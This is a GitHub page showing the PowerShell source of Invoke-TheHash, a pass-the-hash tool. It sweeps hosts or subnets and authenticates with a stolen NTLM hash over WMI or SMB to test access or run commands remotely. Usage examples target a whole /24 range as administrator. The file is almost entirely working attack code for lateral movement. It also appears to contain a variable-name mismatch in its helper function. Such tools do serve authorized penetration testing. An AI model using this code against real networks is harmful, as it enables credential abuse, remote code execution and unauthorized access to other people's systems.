-
Notifications
You must be signed in to change notification settings - Fork 298
/
Invoke-TheHash.ps1
243 lines (186 loc) · 8.75 KB
/
Invoke-TheHash.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
function Invoke-TheHash
{
<#
.SYNOPSIS
Invoke-TheHash has the ability to target multiple hosts with Invoke-SMBExec or Invoke-WMIExec. This function is
primarily for checking a hash against multiple systems. The function can also be used to execute commands
on multiple systems. Note that in most cases it's advisable to just open a single shell and then use other tools
from within that session.
.PARAMETER Type
Sets the desired Invoke-TheHash function. Set to either WMIExec or SMBExec.
.PARAMETER Targets
List of hostnames, IP addresses, or CIDR notation for targets.
.PARAMETER TargetsExclude
List of hostnames and/or IP addresses to exclude form the list or targets. Note that the format
(hostname vs IP address) must match the format used with the Targets parameter. For example, if the host was added
to Targets within a CIDR notation, it must be excluded as an IP address.
.PARAMETER PortCheckDisable
(Switch) Disable WMI or SMB port check. Since this function is not yet threaded, the port check serves to speed up
the function by checking for an open WMI or SMB port before attempting a full synchronous TCPClient connection.
.PARAMETER PortCheckTimeout
Default = 100: Set the no response timeout in milliseconds for the WMI or SMB port check.
.PARAMETER Username
Username to use for authentication.
.PARAMETER Domain
Domain to use for authentication. This parameter is not needed with local accounts or when using @domain after the username.
.PARAMETER Hash
NTLM password hash for authentication. This module will accept either LM:NTLM or NTLM format.
.PARAMETER Command
Command to execute on the target. If a command is not specified, the function will just check to see if the username and hash has access to WMI on the target.
.PARAMETER CommandCOMSPEC
Default = Enabled: SMBExec type only. Prepend %COMSPEC% /C to Command.
.PARAMETER Service
Default = 20 Character Random: SMBExec type only. Name of the service to create and delete on the target.
.PARAMETER SMB1
(Switch) Force SMB1. SMBExec type only. The default behavior is to perform SMB version negotiation and use SMB2 if supported by the
target.
.PARAMETER Sleep
Default = WMI 10 Milliseconds, SMB 150 Milliseconds: Sets the function's Start-Sleep values in milliseconds. You can try tweaking this
setting if you are experiencing strange results.
.EXAMPLE
Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
.EXAMPLE
$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
$target_list = ConvertTo-TargetList $target_output
Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
[CmdletBinding()]
param
(
[parameter(Mandatory=$true)][Array]$Targets,
[parameter(Mandatory=$false)][Array]$TargetsExclude,
[parameter(Mandatory=$true)][String]$Username,
[parameter(Mandatory=$false)][String]$Domain,
[parameter(Mandatory=$false)][String]$Service,
[parameter(Mandatory=$false)][String]$Command,
[parameter(Mandatory=$false)][ValidateSet("Y","N")][String]$CommandCOMSPEC="Y",
[parameter(Mandatory=$true)][ValidateSet("SMBExec","WMIExec")][String]$Type,
[parameter(Mandatory=$false)][Int]$PortCheckTimeout = 100,
[parameter(Mandatory=$true)][ValidateScript({$_.Length -eq 32 -or $_.Length -eq 65})][String]$Hash,
[parameter(Mandatory=$false)][Switch]$PortCheckDisable,
[parameter(Mandatory=$false)][Int]$Sleep,
[parameter(Mandatory=$false)][Switch]$SMB1
)
$target_list = New-Object System.Collections.ArrayList
$target_list_singles = New-Object System.Collections.ArrayList
$target_list_subnets = New-Object System.Collections.ArrayList
if($Type -eq 'WMIExec')
{
$Sleep = 10
}
else
{
$Sleep = 150
}
# subnet parsing code borrowed heavily from Rich Lundeen's Invoke-Portscan
foreach($target in $Targets)
{
if($target.contains("/"))
{
$target_split = $target.split("/")[0]
[uint32]$subnet_mask_split = $target.split("/")[1]
$target_address = [System.Net.IPAddress]::Parse($target_split)
if($subnet_mask_split -ge $target_address.GetAddressBytes().Length * 8)
{
throw "Subnet mask is not valid"
}
$target_count = [System.math]::Pow(2,(($target_address.GetAddressBytes().Length * 8) - $subnet_mask_split))
$target_start_address = $target_address.GetAddressBytes()
[array]::Reverse($target_start_address)
$target_start_address = [System.BitConverter]::ToUInt32($target_start_address,0)
[uint32]$target_subnet_mask_start = ([System.math]::Pow(2, $subnet_mask_split)-1) * ([System.Math]::Pow(2,(32 - $subnet_mask_split)))
$target_start_address = $target_start_address -band $target_subnet_mask_start
$target_start_address = [System.BitConverter]::GetBytes($target_start_address)[0..3]
[array]::Reverse($target_start_address)
$target_address = [System.Net.IPAddress] [byte[]] $target_start_address
$target_list_subnets.Add($target_address.IPAddressToString) > $null
for ($i=0; $i -lt $target_count-1; $i++)
{
$target_next = $target_address.GetAddressBytes()
[array]::Reverse($target_next)
$target_next = [System.BitConverter]::ToUInt32($target_next,0)
$target_next ++
$target_next = [System.BitConverter]::GetBytes($target_next)[0..3]
[array]::Reverse($target_next)
$target_address = [System.Net.IPAddress] [byte[]] $target_next
$target_list_subnets.Add($target_address.IPAddressToString) > $null
}
$target_list_subnets.RemoveAt(0)
$target_list_subnets.RemoveAt($target_list_subnets.Count - 1)
}
else
{
$target_list_singles.Add($target) > $null
}
}
$target_list.AddRange($target_list_singles)
$target_list.AddRange($target_list_subnets)
foreach($target in $TargetsExclude)
{
$target_list.Remove("$Target")
}
foreach($target in $target_list)
{
if($type -eq 'WMIExec')
{
if(!$PortCheckDisable)
{
$WMI_port_test = New-Object System.Net.Sockets.TCPClient
$WMI_port_test_result = $WMI_port_test.BeginConnect($target,"135",$null,$null)
$WMI_port_test_success = $WMI_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
$WMI_port_test.Close()
}
if($WMI_port_test_success -or $PortCheckDisable)
{
Invoke-WMIExec -username $Username -domain $Domain -hash $Hash -command $Command -target $target -sleep $Sleep
}
}
elseif($Type -eq 'SMBExec')
{
if(!$PortCheckDisable)
{
$SMB_port_test = New-Object System.Net.Sockets.TCPClient
$SMB_port_test_result = $SMB_port_test.BeginConnect($target,"445",$null,$null)
$SMB_port_test_success = $SMB_port_test_result.AsyncWaitHandle.WaitOne($PortCheckTimeout,$false)
$SMB_port_test.Close()
}
if($SMB_port_test_success -or $PortCheckDisable)
{
Invoke-SMBExec -username $Username -domain $Domain -hash $Hash -command $Command -CommandCOMSPEC $CommandCOMSPEC -Service $Service -target $target -smb1:$smb1 -sleep $Sleep
}
}
}
}
function ConvertTo-TargetList
{
<#
.SYNOPSIS
ConvertTo-TargetList converts an Invoke-TheHash output array to an array that contains only targets discovered to
have Invoke-WMIExec or Invoke-SMBExec access. The output of this function can be passed back into Invoke-TheHash
through the Targets parameter.
.PARAMETER $OutputArray
The output array returned by Invoke-TheHash.
.EXAMPLE
$target_output = Invoke-TheHash -Type WMIExec -Targets 192.168.100.0/24 -TargetsExclude 192.168.100.50 -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0
$target_list = ConvertTo-TargetList $target_output
Invoke-TheHash -Type WMIExec -Targets $target_list -Username administrator -Hash F6F38B793DB6A94BA04A52F1D3EE92F0 -Command "command or launcher to execute" -verbose
.LINK
https://github.com/Kevin-Robertson/Invoke-TheHash
#>
[CmdletBinding()]
param ([parameter(Mandatory=$true)][Array]$Invoke_TheHash_Output)
$target_list = New-Object System.Collections.ArrayList
foreach($target in $ITHOutput)
{
if($target -like "* on *" -and $target -notlike "* denied *" -and $target -notlike "* failed *" -and $target -notlike "* is not *")
{
$target_index = $target.IndexOf(" on ")
$target_index += 4
$target = $target.SubString($target_index,($target.Length - $target_index))
$target_list.Add($target) > $null
}
}
return $target_list
}